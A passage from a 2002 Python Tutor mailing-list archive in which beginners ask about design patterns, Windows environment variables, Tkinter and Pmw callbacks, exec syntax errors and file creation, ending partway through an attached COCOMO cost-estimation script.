<5104D4DBC598D211B5FE0000F8FE7EB20E66C36A@mbtlipnt02.btlabs.bt.co.uk> Message-ID: > i had a question here though..are all patterns suggested (say > in GOF) for a statically typed language like java applicable > to a dynamically typed language like python? > Two comments: > 1) The GoF book is not about Java, it's primarily written about > Smalltalk which is dynamically typed like Python. Almost all > the GoF used Smalltalk at the time they wrote the original > patterns book - one of the reasons all the patterns are single > inheritance based. oh!, the one i own has C++ examples. The other day i was just wondering, java has a java.lang.Runnable interface just to wrap a run() method bcos functions/ methods are not first class citizens. Does command pattern make sense to Python? wIn java, we normally have classes implementing a Command Interface and we normally store all those instances in a hashtable/equivalent and invoke the Command method. I guess Python w'd just store the method objects or function objects in a dict and achieve the same effect. Can someone discuss other patterns which do not make sense / can be easily done using Python? karthik. From flash1210@hotmail.com Fri Feb 15 06:37:33 2002 From: flash1210@hotmail.com (Frank Holmes) Date: Thu, 14 Feb 2002 22:37:33 -0800 Subject: [Tutor] setting path and pythonpath in win xp Message-ID: ------=_NextPart_001_0000_01C1B5A8.31AD78F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable How do you set the path and pythonpath in win xp? In the other windows en= vironments you =20 enter the proper commands in the autoexec.bat but I cannot find it in xp. ------=_NextPart_001_0000_01C1B5A8.31AD78F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
How do you&nbs= p;set the path and pythonpath in win xp? In the other windows environment= s you
enter the proper commands in the autoexec.bat but I cannot find= it in xp.
------=_NextPart_001_0000_01C1B5A8.31AD78F0-- From virketis@fas.harvard.edu Fri Feb 15 06:46:59 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Fri, 15 Feb 2002 01:46:59 -0500 Subject: [Tutor] setting path and pythonpath in win xp References: Message-ID: <015001c1b5ec$91816450$18adf78c@virketis2> This is a multi-part message in MIME format. ------=_NextPart_000_014D_01C1B5C2.A895FF90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable >How do you set the path and pythonpath in win xp? In the other windows = environments you=20 >enter the proper commands in the autoexec.bat but I cannot find it in = xp. Start --> Settings --> Control Pannel --> System --> Advanced --> = Environmental Variables :) Cheers,=20 Pijus ------=_NextPart_000_014D_01C1B5C2.A895FF90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
>How do you set the path and pythonpath in win xp? In the = other=20 windows environments you
>enter the proper commands in the = autoexec.bat=20 but I cannot find it in xp.
 
Start --> Settings --> Control Pannel = --> System=20 --> Advanced --> Environmental Variables :)
 
Cheers,
 
Pijus

------=_NextPart_000_014D_01C1B5C2.A895FF90-- From dyoo@hkn.eecs.berkeley.edu Fri Feb 15 09:23:51 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Fri, 15 Feb 2002 01:23:51 -0800 (PST) Subject: [Tutor] really dumb questions [string concatenation/string formatting] In-Reply-To: Message-ID: On Fri, 15 Feb 2002, kevin parks wrote: > f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"])) > > This worked as is, the problem was that i tried to say: > > x=['scooby', 'dooby', 'doo'] > > f.writelines(map(lambda s: s+'\n', x)) > > and that doesn't work it says: > > TypeError: unsupported opperand types for +: 'int' and 'str' Hmmm, that's odd! I would have expected this error message if our 'x' list contained an integer somewhere in there. The error message: > TypeError: unsupported opperand types for +: 'int' and 'str' is saying something to the effect "I'm trying to add up an integer and a string! Help!" The only thing I can think of is that, somehow, an integer slipped into the list by mistake. Can you check to see if this is possible? Here's an example that shows what might be happening: ### >>> mylist = ['one', 'two', 3] >>> for element in mylist: ... print 'strike ' + element ... strike one strike two Traceback (most recent call last): File "", line 2, in ? TypeError: cannot concatenate 'str' and 'int' objects ### On the 3rd strike, it's way out. So string concatenation is a bit strict about being aware of the types of our values. Strings stick together with strings, and are quite prudish when it comes to string concatenation. However, strings relax a little when we use string formatting: ### >>> mylist = ['one', 'two', 3] >>> for element in mylist: ... print 'counting %s' % (element,) ... counting one counting two counting 3 ### The '%s' part tells Python to use the "string" representation of the element when plugging things in, no matter what, and in most cases, that's probably what we want. Anyway, hope you're having a pleasant holiday. I can't wait for the three day weekend here in the States... *grin* From alan.gauld@bt.com Fri Feb 15 11:35:30 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Fri, 15 Feb 2002 11:35:30 -0000 Subject: [Tutor] Software Design and crackers Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C372@mbtlipnt02.btlabs.bt.co.uk> Cameron asked about: Software Design --------------- There is no good single book that I can recommend however there are several that taken together make up a good base. 1st I'd go with something like Programming Pearls by Jon Bentley it covers design in the small - algorithms etc 2nd I'd do something like The Pragmatic Programmer which has lots of good advise generally learnt the hard way. 3rd I'd get a good OO design book like Booch OOAD or maybe Wirfs/Brock(sp?) "Responsibility Driven Design" 4th I'd get the "Gang of Four"(GoF) Design Patterns book. 5th I'd buy my new book on design notations - except I haven't finished writing it yet ;-) Computer Security ----------------- Search the net, read up on basic computer operating principles and networking. One good (but occasionally wacky!) site that I visit regularly is: http://www.interhack.com/ But then I'm biased coz Matt Curtin is a friend of mine... Alan Gauld Solutions Designer BT computing partners Tel : 0141 220 8795 Fax : 0141 248 1284 From alan.gauld@bt.com Fri Feb 15 11:43:37 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Fri, 15 Feb 2002 11:43:37 -0000 Subject: [Tutor] Another new book Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C373@mbtlipnt02.btlabs.bt.co.uk> > > 1) The GoF book is not about Java, it's primarily written about > > Smalltalk which is dynamically typed like Python. Almost all > > the GoF used Smalltalk at the time they wrote the original > > oh!, the one i own has C++ examples. Yes it has, but that was because of the marketplace - everyone was using C++ then. Nowadays it would be Java. But the ideas were mainly developed in Smalltalk. Or so Ralph Johnston said at the seminar I attended... Alan g. Author of the 'Learning to Program' web site http://www.freenetpages.co.uk/hp/alan.gauld From aschmidt@nv.cc.va.us Fri Feb 15 14:24:20 2002 From: aschmidt@nv.cc.va.us (Schmidt, Allen J.) Date: Fri, 15 Feb 2002 09:24:20 -0500 Subject: [Tutor] List for Zope beginners Message-ID: <5CDFEBB60E7FD311B9E30000F6D6090608CB8F80@novamail2.nv.cc.va.us> http://lists.zope.org/mailman/listinfo/zope The basic Zope list. sign up and lurk for a while. This page has a link to search the archives. Best to do that before asking questions. Most newbie questions have been gone over several times and lots of good info abounds. Also, one of the best ways of finding info on specific things is a www.google.com search. http://www.zope.org/Documentation Many links to existing documentation. http://www.zope.org/Members/michel/ZB The first Zope Book online...recently and continuously updated. Some stuff is hard to find but its out there. Any question you could have has been asked and answered online. www.freezope.org is a great place to play and learn first. Create a free site with many products already installed. Not quite the same as having it on your own box but really the next best thing. Have fun! Feel free to email me offline if you have other questions about Zope. Allen Schmidt allen.freezope.org www.fredericksburg.com -- All in Zope/Python/MySQL -----Original Message----- From: Danny Yoo [mailto:dyoo@hkn.eecs.berkeley.edu] Sent: Thursday, February 14, 2002 4:46 PM To: Ramkumar Kashyap Cc: tutor@python.org Subject: Re: [Tutor] List for Zope beginners On Thu, 14 Feb 2002, Ramkumar Kashyap wrote: > Is there a list for Zope beginners. I have downloaded Zope and am > going through the e.g. and was wondering if there was a similar list. Hmmm... you may want to try the ZopeZen and ZopeNewbies people: http://www.zopezen.org/ http://zopenewbies.net/ I haven't been able to find a mailing list, but that might just mean that I'm not looking hard enough... Try asking on zopezen.org, and people there may be able to point you toward good resources for new Zopistas. If you find that mailing list, tell us so that we can better respond to this question next time. Good luck to you! _______________________________________________ Tutor maillist - Tutor@python.org http://mail.python.org/mailman/listinfo/tutor From alan.gauld@bt.com Fri Feb 15 17:06:06 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Fri, 15 Feb 2002 17:06:06 -0000 Subject: [Tutor] setting path and pythonpath in win xp Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C37A@mbtlipnt02.btlabs.bt.co.uk> ------_=_NextPart_001_01C1B643.0E308750 Content-type: text/plain; charset="ISO-8859-1" > How do you set the path and pythonpath in win xp? In the other > windows environments you enter the proper commands in the > autoexec.bat but I cannot find it in xp. XP = NT so you do it through the My Computer Properties page One of the tabs has an Environment Variables button that allows you to set env vars per user or globally. Add the values you need there. The alternative(and not recommended route) is to edit the file AUTOEXEC.NT which will be read when executing a DOS box... But if you do it via the dialogue you shouldn't need autoexec. Alan g ------_=_NextPart_001_01C1B643.0E308750 Content-type: text/html; charset="ISO-8859-1"
>  How do you set the path and pythonpath in win xp? In the other  
>  windows environments you enter the proper commands in the  
>  autoexec.bat but I cannot find it in xp. 
 
 
XP = NT so you do it through the My Computer Properties page
 
One of the tabs has an Environment Variables button that allows
you to set env vars per user or globally. 
 
Add the values you need there.
 
The alternative(and not recommended route) is to edit the file
AUTOEXEC.NT which will be read when executing a DOS box...
But if you do it via the dialogue you shouldn't need autoexec.
 
Alan g

------_=_NextPart_001_01C1B643.0E308750-- From lsloan@umich.edu Fri Feb 15 16:25:06 2002 From: lsloan@umich.edu (lsloan@umich.edu) Date: Fri, 15 Feb 2002 11:25:06 -0500 Subject: [Tutor] disabling Pmw ComboBox's EntryField? Message-ID: <200202151817.NAA01095@birds.us.itd.umich.edu> How do I disable a Pmw ComboBox's EntryField and make its dropdown menu open when that EntryField is clicked? What I've tried in my class so far is: self.cboxDomain = Pmw.ComboBox(grpNav.interior(), label_text='Domain:', labelpos='w', fliparrow=1, selectioncommand=self.clickDomain) self.cboxDomain.component('entryfield_entry').bind('', self.cboxDomain.invoke) self.cboxDomain.component('entryfield_entry').configure( state=DISABLED) self.cboxDomain.grid(row=1, column=0, columnspan=2, sticky='w') The disabling part works fine. I can't type anything into the field, yet when I select something from the dropdown menu, it will appear in it, which is what I wanted. However, the initial click on the EntryField produces this error: Error: 1 TypeError Exception in Tk callback Function: (type: ) Args: (,) Event type: ButtonPress (type num: 4) Traceback (innermost last): File ".../Pmw/Pmw_0_8_5/lib/PmwBase.py", line 1690, in __call__ None TypeError: too many arguments; expected 1, got 2 -- Lance E Sloan Web Services, Univ. of Michigan: Full-service Web and database design, development, and hosting. Specializing in Python & Perl CGIs. http://websvcs.itd.umich.edu/ - "Putting U on the Web" From m_konermann@gmx.de Fri Feb 15 10:00:30 2002 From: m_konermann@gmx.de (Keule) Date: Fri, 15 Feb 2002 11:00:30 +0100 Subject: [Tutor] Calling a python program from a program menu Message-ID: <3C6CDC3E.9090104@gmx.de> --------------050901010108030302080801 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit HI @ All I want to call a python script, consist of an entry widget (like below) # variablen.py from Tkinter import * from quitter import Quitter fields = 'Minimalwert', 'Maximalwert','Pre-Kondition','Post-Kondition','Zeile','Spalte' def fetch(entries): for entry in entries: print 'Input => "%s"' % entry.get() # get text print 'entries=',entries def makeform(root, fields): entries = [] for field in fields: row = Frame(root) # make a new row lab = Label(row, width=15, text=field) # add label, entry ent = Entry(row) row.pack(side=TOP, fill=X) # pack row on top lab.pack(side=LEFT) ent.pack(side=RIGHT, expand=YES, fill=X) # grow horizontal entries.append(ent) return entries if __name__ == '__main__': root = Tk() root.title('Variableneingabe') ents = makeform(root, fields) root.bind('', (lambda event, e=ents: fetch(e))) Button(root, text='nächste Variable',command=(lambda e=ents: fetch(e))).pack(side=LEFT) Quitter(root).pack(side=RIGHT) root.mainloop() from another script, consist of a complete program menu def makemenu(win): top = Menu(win) # win=top-level window win.config(menu=top) # set its menu option Variablen = Menu(top) Variablen.add_command(label= 'Neu', command=variablen.py , underline=0) top.add_cascade(label= 'Variablen', menu=Variablen, underline=0) ..... but there seems to be a mistake in the calling sequence command=variablen.py . Have anyone got an idea ? Greetings Marcus --------------050901010108030302080801 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit HI @ All

I want to call a python script, consist of an entry widget (like below)


# variablen.py
from Tkinter import *
from quitter import Quitter
fields = 'Minimalwert', 'Maximalwert','Pre-Kondition','Post-Kondition','Zeile','Spalte'

def fetch(entries):
    for entry in entries:
        print 'Input => "%s"' % entry.get()         # get text
    print 'entries=',entries

def makeform(root, fields):
    entries = []
    for field in fields:
        row = Frame(root)                                       # make a new row
        lab = Label(row, width=15, text=field)       # add label, entry
        ent = Entry(row)
        row.pack(side=TOP, fill=X)                          # pack row on top
        lab.pack(side=LEFT)
        ent.pack(side=RIGHT, expand=YES, fill=X)    # grow horizontal
        entries.append(ent)
    return entries

if __name__ == '__main__':
    root = Tk()
    root.title('Variableneingabe')
    ents = makeform(root, fields)
    root.bind('<Return>', (lambda event, e=ents: fetch(e)))   
    Button(root, text='nächste Variable',command=(lambda e=ents: fetch(e))).pack(side=LEFT)
    Quitter(root).pack(side=RIGHT)
    root.mainloop()

from another script, consist of a complete program menu

 def makemenu(win):
    top = Menu(win)                                    # win=top-level window
    win.config(menu=top)                           # set its menu option

     Variablen = Menu(top)
    Variablen.add_command(label=    'Neu',         
command=variablen.py ,  underline=0)
    top.add_cascade(label=          'Variablen',    menu=Variablen,   underline=0)
     .....


but there seems to be a mistake in the calling sequence  command=variablen.py .
Have anyone got an idea ?

Greetings
Marcus




--------------050901010108030302080801-- From fallen@leveltwo.com Fri Feb 15 21:29:24 2002 From: fallen@leveltwo.com (Fred Allen) Date: Fri, 15 Feb 2002 13:29:24 -0800 Subject: [Tutor] Mysterious Qualifier! Message-ID: <4BB02C541824D311921600902765DB7B445C75@LTISERVER> Dear Tutors: Despite reviewing the documentation, I seem unable to find how to correct the syntax error presented beneath the following code block. I'm using 2.2. def lsdoc(modu): exec 'reload ' + modu md = eval(modu + ".__doc__") print 'Module ' + str(modu) + "'s Document String:", md lscdocs(modu) def lscdocs(modu): …MORE CODE… “SyntaxError: unqualified exec is not allowed in function 'lsdoc' it contains a nested function with free variables (lsmoddocs.py, line 8)” I see I should qualify the 'exec' command, or so it seems, but the only means I know of qualifying anything is with the dot operator. I fail to see how, what, and with what, to carry out this error's implicit corrective. If you can give me a suggestion, I'd be most grateful. I am, Respectfully, Fred Allen From dyoo@hkn.eecs.berkeley.edu Fri Feb 15 21:28:43 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Fri, 15 Feb 2002 13:28:43 -0800 (PST) Subject: [Tutor] disabling Pmw ComboBox's EntryField? [quick lambda hacks] In-Reply-To: <200202151817.NAA01095@birds.us.itd.umich.edu> Message-ID: On Fri, 15 Feb 2002 lsloan@umich.edu wrote: > > How do I disable a Pmw ComboBox's EntryField and make its dropdown menu > open when that EntryField is clicked? > > What I've tried in my class so far is: > > self.cboxDomain = Pmw.ComboBox(grpNav.interior(), > label_text='Domain:', > labelpos='w', > fliparrow=1, > selectioncommand=self.clickDomain) > self.cboxDomain.component('entryfield_entry').bind('', > self.cboxDomain.invoke) I haven't played with Python megawidgets yet, but the error message here: > Args: (,) > Event type: ButtonPress (type num: 4) > Traceback (innermost last): > File ".../Pmw/Pmw_0_8_5/lib/PmwBase.py", line 1690, in > __call__ > None > TypeError: too many arguments; expected 1, got 2 implies that self.cboxDomain.invoke() doesn't need to take the 'event' parameter that get's passed when we bind it to Button-1. We can do a quicky thing to allow it to ignore the event parameter: ### self.cboxDomain.component('entryfield_entry').bind('', lambda event: self.cboxDomain.invoke()) ### The lambda part just makes a callback function that discards any 'event' aimed at it. The above fix may not work perfectly yet. If you're using a Python older than 2.2, you may need to do something to simulate lexical sope, perhaps something like this: ### self.cboxDomain.component('entryfield_entry').bind('', lambda event, self=self: self.cboxDomain.invoke()) ### because we really need the callback to know about it's 'self' to be able to get cboxDomain() to invoke(). If you have any questions, please feel free to ask. Hope this helps! From dyoo@hkn.eecs.berkeley.edu Fri Feb 15 21:38:33 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Fri, 15 Feb 2002 13:38:33 -0800 (PST) Subject: [Tutor] Mysterious Qualifier! In-Reply-To: <4BB02C541824D311921600902765DB7B445C75@LTISERVER> Message-ID: On Fri, 15 Feb 2002, Fred Allen wrote: > Despite reviewing the documentation, I seem unable to find how to correct > the syntax error presented beneath the following code block. I'm using 2.= 2. >=20 > def lsdoc(modu): > =09exec 'reload ' + modu > =09md =3D eval(modu + ".__doc__") > =09print 'Module ' + str(modu) + "'s Document String:", md > =93SyntaxError: unqualified exec is not allowed in function 'lsdoc' it > contains a nested function with free variables (lsmoddocs.py, line 8)=94 You may need to make a small correction on the exec(): ### exec 'reload(%s)' + modu ### I think the error message about "free variables" is related to the missing parens there. By the way, we can "qualify" an exec by doing something like this: ### >>> exec 'print x + y' in {'x' : 3, 'y' : 4} 7 ### The dictionary we pass will be the place that Python uses to look up variable names and values. From wolf_binary@hotmail.com Sat Feb 16 14:06:19 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Sat, 16 Feb 2002 08:06:19 -0600 Subject: [Tutor] creating files with python and a thanks Message-ID: Dear Python people, How can you tell Python to make a simple text file or to make a kind of file with your own kind of extension? I have looked around in books I have, and online. I have only found stuff about how to open and close and recieve input from. I don't know enough about file creation and operating systems to know I guess how to tell Python to do it. Special Note to those who answered my hacking question. Thanks a lot Borders didn't have a good selection of software design books available and I didn't know what books to ask about. What about the book Hackers Exposed 3rd or what ever is the latest version? I heard it was a good place to start. Thanks again, Cameron Stoner _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp. From sheila@thinkspot.net Sat Feb 16 14:37:55 2002 From: sheila@thinkspot.net (Sheila King) Date: Sat, 16 Feb 2002 06:37:55 -0800 Subject: [Tutor] creating files with python and a thanks In-Reply-To: References: Message-ID: <41963702708@kserver.org> On Sat, 16 Feb 2002 08:06:19 -0600, "Cameron Stoner" wrote about [Tutor] creating files with python and a thanks: > How can you tell Python to make a simple text file or to make a kind of file > with your own kind of extension? I have looked around in books I have, and > online. I have only found stuff about how to open and close and recieve > input from. I don't know enough about file creation and operating systems > to know I guess how to tell Python to do it. But the opening and closing stuff IS how you make files. OK, what do you want in your file? Let's say, you want your file to contain the following data: ----------------------- this is my file my stuff is in my file ---------------------- and let's say you want to save in on your computer under the name myfile.mbg Then this code should work: f = open('myfile.mbg', 'w') f.write('this is my file\nmy stuff\nis in\nmy\nfile') f.close() Because you are opening the file with a 'w' flag, it will let you write stuff into the file. The file will end up in whatever the current directory is. If you're not sure where that is, you could amend the script like this, so that is will tell you what directory it is saving the file in: import os f = open('myfile.mbg', 'w') f.write('this is my file\nmy stuff\nis in\nmy\nfile') f.close() print "current directory is ", print os.path.abspath(os.getcwd()) Look in that directory and you should find your newly created file. If you want to save the file in a specific directory, you could do this instead: f = open(r'c:\windows\temp\myfile.mbg', 'w') f.write('this is my file\nmy stuff\nis in\nmy\nfile') f.close() (I used the r in front of the quotes, so that it will interpret the string as a "raw" string, and not assume the \t on \temp represents the escape sequence for a tab character.) What if later you want to add more stuff to the file, you can open it in append mode. f = open('myfile.mbg', 'a') f.write('Here is\nsome more stuff\nfor\nmyfile') f.close() Now when you open the file, it will have these contents: ----------------------- this is my file my stuff is in my fileHere is some more stuff for my file ---------------------- Opening the file with the 'a' flag let's you append to it. If you open it with the 'w' flag, it will erase anything that was previously in the file and start it over from scratch. What if you want to write binary files? How about, you have some .gif file called some.gif and you want to make a copy of it called somecopy.gif This should do it: blocksize = 1024 origfile = open('some.gif', 'rb') newfile = open('somecopy.gif', 'wb') while 1: datachunk = origfile.read(blocksize) if not datachunk: break newfile.write(datachunk) origfile.close() newfile.close() Instead of reading the entire .gif file into memory, you might want to consider reading only a small "chunk" at a time, so you don't clobber the memory on your computer. The 'rb' and 'wb' flags are for reading binary files and writing binary files. (Different operating systems have different line endings, and in text files Python will "do the right thing" and use the appropriate line ending. This is great in text files. But in binary files, you don't want Python changing any of the bytes in the file, so opening with a binary flag tells Python not to make any line ending translations, but just to read or write EXACTLY the data that it is given.) Hope this gets you started on creating your own files! (P.S. I was a little lazy, and didn't run any of the code presented here through the interpreter. If you get syntax errors you can't figure out...by some stroke of bad luck, let me know and I'll test the code and fix it. I think it should be OK?) -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From kojo@hal-pc.org Sat Feb 16 14:41:57 2002 From: kojo@hal-pc.org (Kojo Idrissa) Date: Sat, 16 Feb 2002 08:41:57 -0600 Subject: [Tutor] creating files with python and a thanks In-Reply-To: Message-ID: <5.1.0.14.0.20020216084039.01ff8dc8@Pop3.norton.antivirus> At 08:06 AM 2/16/2002 -0600, Cameron Stoner wrote: >What about the book Hackers Exposed 3rd or what ever is the latest version? >I heard it was a good place to start. This is a good place to start, especially if you're concerned about securing systems with persistent or high speed internet connections. I've got the 2nd Edition. **************************** Kojo Idrissa kojo@hal-pc.org http://www.hal-pc.org/~kojo/ **************************** From vlindberg@verio.net Fri Feb 15 23:10:56 2002 From: vlindberg@verio.net (VanL) Date: Fri, 15 Feb 2002 16:10:56 -0700 Subject: [Tutor] String formatting Message-ID: <3C6D9580.90707@verio.net> Hello, I can't figureout why this is dying on me: #!/usr/bin/env python [snip] totalfiles = 0 includedfiles = 0 changedfiles = 0 textchanges = 0 [snip] def main(): # Get options optlist, args = getopt.getopt(sys.argv[1:], 's:r:u:F:D:R:X:I:ABqh', ['usage', 'help', 'binary']) opts = getAllOptions(optlist) if not opts['quiet']: # Grab statistical variables global totalfiles global includedfiles global changedfiles global textchanges if totalfiles > 0 and includedfiles > 0: stat1 = ((includedfiles * 1.0)/totalfiles) stat2 = ((changedfiles * 1.0)/totalfiles) stat3 = ((changedfiles * 1.0)/includedfiles) else: stat1, stat2, stat3 = 0, 0, 0 percent = '%' print '%(totalfiles)s total files, %(includedfiles)s included in content scan (%(stat1)s%(percent)s)' % vars() print '%(changedfiles)s files changed (%(stat2)s%(percent)s of total files, %(stat3)s%(percent)s of scanned files)' % vars() print '%s total text changes' % textchanges This is giving me a keyerror for totalfiles. Could anyone tell me why? Thanks, Van From kp87@lycos.com Sat Feb 16 13:32:10 2002 From: kp87@lycos.com (kevin parks) Date: Sat, 16 Feb 2002 22:32:10 +0900 Subject: [Tutor] transposing [n, [e],[s[te]],[d]] sequences Message-ID: # Here is the type of thing i can write pretty swiftly now: def Xpose(seq,n, oct=12, sort_flag=0): ''' take a sequence and tranpose it modulo some number ''' mylist=[] for i in seq: x = (i+n)%oct mylist.append(x) # to append or extend? if sort_flag: mylist.sort() # to sort or not sort return mylist #-- (i am at an internet cafe with no interpreter so there could # be a type, but i hope not, Imaginary session follows: >>> x = [0, 2, 4, 5, 7, 9, 11] >>> c = Xpose(x, 4, 12, 0) >>> c [4, 6, 8, 9, 11, 1, 3] >>> d = Xpose(x, 4, 12, 1) # sorted now >>> d [1, 3, 4, 6, 8, 9, 11] # cool. It works, and just in case you are curious i just turned a # C major scale into E major # Problem: how do i make something like this work for nested sequences? since sometimes we will have lists of lists or (god help us) list of *gasp* tuples... # can anyone take me through the steps? to *upgrade this simple little # diddy to something more rubust and verstile? cheers, -kevin Check out Cupid School where you will learn from Matchmaker's best and brightest. Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From dsh8290@rit.edu Sat Feb 16 19:35:18 2002 From: dsh8290@rit.edu (dman) Date: Sat, 16 Feb 2002 14:35:18 -0500 Subject: [Tutor] Glade In-Reply-To: <27012922025100.00939@localhost.localdomain> References: <27012922025100.00939@localhost.localdomain> Message-ID: <20020216193518.GA20521@dman.ddts.net> --rwEMma7ioTxnRzrJ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, Feb 06, 2002 at 09:20:15PM -0500, djuro m. wrote: | | Hello everyone! | | Could someone please "explain" to me how to make a simple gui working with | python code by using Glade. ( I only need to see a code or how is python code | tied with gui code file) Attached is an example (it actually does something, though opinions on the usefulness may vary ;-)). It requires the 'libglade' library at runtime. (put both files in the same directory and run the script from that directory) -D -- He who walks with the wise grows wise, but a companion of fools suffers harm. Proverbs 13:20 --rwEMma7ioTxnRzrJ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="CostModel.py" # # $Header: /home/dman/School/Metrics/exercise3b/RCS/CostModel.py,v 1.7 2001/10/27 18:01:02 dman Exp $ # # Software Process and Product Metrics # # Exercise 3b # # Authors : # Corey Andalora # Derrick Hudson # # History : # $Log: CostModel.py,v $ # Revision 1.7 2001/10/27 18:01:02 dman # ditto # # Revision 1.6 2001/10/27 17:52:45 dman # cosmetic fixes # # Revision 1.5 2001/10/27 17:34:15 dman # changed EMs to have option menus with known values # # Revision 1.4 2001/10/27 16:19:36 dman # added effort multiplier handling # finished? # # Revision 1.3 2001/10/26 21:59:47 dman # removed print statement # # Revision 1.2 2001/10/26 05:16:11 dman # many improvements. # added error dialog # # Revision 1.1 2001/10/25 23:16:05 dman # Initial revision # # import sys import math import gtk import libglade # constants true = 1 false = 0 # VLOW = "Very Low" # LOW = "Low" # NOM = "Nominal" # HIGH = "High" # VHIGH = "Very High" # EHIGH = "Extra High" VLOW = "VL" LOW = "L" NOM = "N" HIGH = "H" VHIGH = "VH" EHIGH = "XH" # values for the various factors the user will input table = { # # Scale Factors # "PREC" : { VLOW : 6.22 , LOW : 4.96 , NOM : 3.72 , HIGH : 2.48 , VHIGH : 1.24 , EHIGH : 0.00 , } , "FLEX" : { VLOW : 5.07 , LOW : 4.05 , NOM : 3.04 , HIGH : 2.03 , VHIGH : 1.01 , EHIGH : 0.00 , } , "RESL" : { VLOW : 7.07 , LOW : 5.65 , NOM : 4.24 , HIGH : 2.83 , VHIGH : 1.41 , EHIGH : 0.00 , } , "TEAM" : { VLOW : 5.48 , LOW : 4.38 , NOM : 3.29 , HIGH : 2.19 , VHIGH : 1.10 , EHIGH : 0.00 , } , "PMAT" : { VLOW : 7.08 , LOW : 6.24 , NOM : 4.68 , HIGH : 3.12 , VHIGH : 1.56 , EHIGH : 0.00 , } , # # Effort Multipliers # "RELY" : { VLOW : 0.82 , LOW : 0.92 , NOM : 1.00 , HIGH : 1.10 , VHIGH : 1.26 , EHIGH : None , } , "DATA" : { VLOW : None , LOW : 0.90 , NOM : 1.00 , HIGH : 1.14 , VHIGH : 1.28 , EHIGH : None , } , "CPLX" : { VLOW : 0.73 , LOW : 0.87 , NOM : 1.00 , HIGH : 1.17 , VHIGH : 1.34 , EHIGH : 1.74 , } , "RUSE" : { VLOW : None , LOW : 0.95 , NOM : 1.00 , HIGH : 1.07 , VHIGH : 1.15 , EHIGH : 1.24 , } , "DOCU" : { VLOW : 0.81 , LOW : 0.91 , NOM : 1.00 , HIGH : 1.11 , VHIGH : 1.23 , EHIGH : None , } , "TIME" : { VLOW : None , LOW : None , NOM : 1.00 , HIGH : 1.11 , VHIGH : 1.29 , EHIGH : 1.63 , } , "STOR" : { VLOW : None , LOW : None , NOM : 1.00 , HIGH : 1.05 , VHIGH : 1.17 , EHIGH : 1.46 , } , "PVOL" : { VLOW : None , LOW : 0.87 , NOM : 1.00 , HIGH : 1.15 , VHIGH : 1.30 , EHIGH : None , } , "ACAP" : { VLOW : 1.42 , LOW : 1.19 , NOM : 1.00 , HIGH : 0.95 , VHIGH : 0.71 , EHIGH : None , } , "PCAP" : { VLOW : 1.34 , LOW : 1.15 , NOM : 1.00 , HIGH : 0.88 , VHIGH : 0.76 , EHIGH : None , } , "AEXP" : { VLOW : 1.22 , LOW : 1.10 , NOM : 1.00 , HIGH : 0.88 , VHIGH : 0.81 , EHIGH : None , } , "PEXP" : { VLOW : 1.19 , LOW : 1.09 , NOM : 1.00 , HIGH : 0.91 , VHIGH : 0.85 , EHIGH : None , } , "LTEX" : { VLOW : 1.20 , LOW : 1.09 , NOM : 1.00 , HIGH : 0.91 , VHIGH : 0.84 , EHIGH : None , } , "PCON" : { VLOW : 1.29 , LOW : 1.12 , NOM : 1.00 , HIGH : 0.90 , VHIGH : 0.81 , EHIGH : None , } , "TOOL" : { VLOW : 1.17 , LOW : 1.09 , NOM : 1.00 , HIGH : 0.90 , VHIGH : 0.78 , EHIGH : None , } , "SITE" : { VLOW : 1.22 , LOW : 1.09 , NOM : 1.00 , HIGH : 0.93 , VHIGH : 0.86 , EHIGH : 0.80 , } , "SCED" : { VLOW : 1.43 , LOW : 1.14 , NOM : 1.00 , HIGH : 1.00 , VHIGH : 1.00 , EHIGH : None , } , } # end of table # Scale Factor names sf_names = ( "PREC" , "FLEX" , "RESL" , "TEAM" , "PMAT" ) # Effort Multiplier names em_names = ( # Product "RELY" , "DATA" , "CPLX" , "RUSE" , "DOCU" , # Platform "TIME" , "STOR" , "PVOL" , # Personnel "ACAP" , "PCAP" , "AEXP" , "PEXP" , "LTEX" , "PCON" , # Project "TOOL" , "SITE" , "SCED" ) # global data glade_filename = "costmodel.glade" # event handlers def on_exit( widget ) : """ Handle exiting the application nicely """ # stop the event loop, then exit gtk.mainquit() sys.exit( 0 ) # end on_exit() def on_compute_button_released( widget , *args ) : """ Compute the effort and cost. """ # get the input from the user try : A = widget_tree.get_widget( "a_input" ).get_value() size = widget_tree.get_widget( "size_input" ).get_value() # Scale Factors sf_inputs = [] for sf in sf_names : sf_inputs.append( get_input( sf ) ) B = 1.01 + 0.01 * sum( sf_inputs ) # Effort Multipliers em_inputs = [] for em in em_names : em_inputs.append( get_input( em ) ) F = prod( em_inputs ) cost_unit = widget_tree.get_widget( "cost_input" ).get_value() except ( TypeError , AttributeError ) : # silly user, didn't input data yet def close_dialog( button , *args ) : dialog = button.get_toplevel() dialog.destroy() new_tree = libglade.GladeXML( glade_filename , "MessageDialog" ) new_tree.signal_autoconnect( { "msg_dlg_ok" : close_dialog } ) label = new_tree.get_widget( "message_label" ) label.set_text("You must enter all data before computing the 